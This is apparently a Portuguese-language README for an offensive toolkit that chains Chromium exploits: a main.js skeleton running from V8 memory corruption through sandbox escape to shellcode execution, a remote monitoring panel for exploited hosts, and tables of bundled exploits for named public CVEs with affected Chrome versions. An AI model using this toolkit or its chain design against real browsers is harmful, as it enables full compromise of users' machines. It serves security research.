
Kit de ferramentas para transformar vulnerabilidades do Chromium em exploits confiáveis, multiplataforma e de cadeia completa.
Um toolkit para transformar vulnerabilidades do Chromium em exploits de cadeia completa, confiáveis e multiplataforma.
Este projeto fornece um conjunto de scripts auxiliares poderosos, mas exige que você traga suas próprias vulnerabilidades. Você é responsável por implementar primitivas mínimas de exploração, e o toolkit cuida de todo o resto.
Uma cadeia de exploração personalizada depende do arquivo de script main.js, que permite incluir seletivamente suas vulnerabilidades junto com os scripts auxiliares do toolkit:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
Leia a documentação para uma visão geral abrangente dos recursos disponíveis.
Uma página de teste é fornecida em index.html.
Ela exibe logs, lida com falhas e permite que o script principal inclua arquivos das subpastas do projeto.
Você pode executá-la localmente usando python3 server.py e depois acessar http://localhost:8000.
A página monitor.html fornece uma interface simples para monitorar e testar exploits remotamente.
Ela exibe hosts remotos, logs de exploits e estatísticas de erros.
Ela também permite enviar comandos para hosts remotos, incluindo recarregamento de exploits e um modo de teste de estresse.
Para o desenvolvimento inicial de exploits, você também pode executar o script principal do exploit no d8: d8.exe main.js.
Quando uma cadeia de exploração estiver pronta, ferramentas são fornecidas para automatizar várias tarefas:
build.py para compilar o exploit em um único scriptdownload.py para baixar versões específicas do Google Chromesymbols.py para análise automatizada de PDBAlguns exploits para vulnerabilidades públicas são fornecidos para demonstrar os recursos do toolkit:
| Vulnerabilidade | Versões afetadas (Chrome Stable) | Detalhes |
|---|---|---|
| CVE-2024-11114 | 94 - 130 (apenas Windows) | O mouse pode ser controlado usando a interface Mojo IPC startDragging() para executar arquivos baixados e escapar da sandbox |
Uma cadeia de exploração de demonstração é fornecida no main.js padrão. Ela depende das seguintes vulnerabilidades:
Esta cadeia de exploração funciona de imediato em qualquer Chrome 130 estável e em versões estendidas até 130.0.6723.160. Ela pode ser facilmente estendida para M128, M129 e M131 (< 131.0.6778.264) adicionando símbolos.
Os exploits também podem ser testados remotamente a partir da página de monitoramento:

Este toolkit destina-se estritamente à pesquisa de segurança. Por si só, ele não fornece nenhum material para explorar vulnerabilidades não divulgadas no projeto Chromium. O uso deste toolkit para fins maliciosos é de sua inteira responsabilidade.
As versões públicas são licenciadas sob os termos do GNU AGPLv3. Especificamente, a comercialização de exploits privados baseados neste toolkit não é permitida sob esses termos. Commits anteriores feitos antes da primeira versão pública podem não ser licenciados e são protegidos pelas leis de direitos autorais padrão.
Este projeto inclui componentes licenciados de terceiros: veja aqui para detalhes.
| Vulnerabilidade | Versões afetadas (Chrome Stable) | Detalhes |
|---|
| CVE-2024-7971 | <= 127 | Confusão de tipos WASM durante ParallelMove no Liftoff |
| CVE-2025-0291 | 128 - 131 (< 131.0.6778.264, componente vulnerável distribuído via Finch) | Confusão de tipos no WasmGCTypeAnalyzer do Turboshaft em loops de bloco único |
| CVE-2025-2135 | 133 - 134 (< 134.0.6998.88) | Confusão de tipos em objetos com alias em TransitionElementsKindOrCheckMap |
| CVE-2025-5419 | <= 136 (chave de desativação do Finch a partir de 133) | Acesso à memória fora dos limites devido a eliminação inválida de store-store em índices dinâmicos |
| Vulnerabilidade | Versões afetadas (Chrome Stable) | Detalhes |
|---|
| 352689356 | <= 131 | Confusão de assinatura de função WASM em call_ref do TurboFan sem inlining |
| 379140430 | <= 132 | Confusão de tipos de assinatura no tier-up do WasmToJsWrapper com corrupção de Tuple2 na sandbox |
| 395659804 | <= 134 | Execução arbitrária de código via confusão de DeoptimizationData em OSR |
| 421403261 | 134 - 137 (< 137.0.7151.119, apenas x64) | Colisão de hash de assinatura i32/i64 no Liftoff |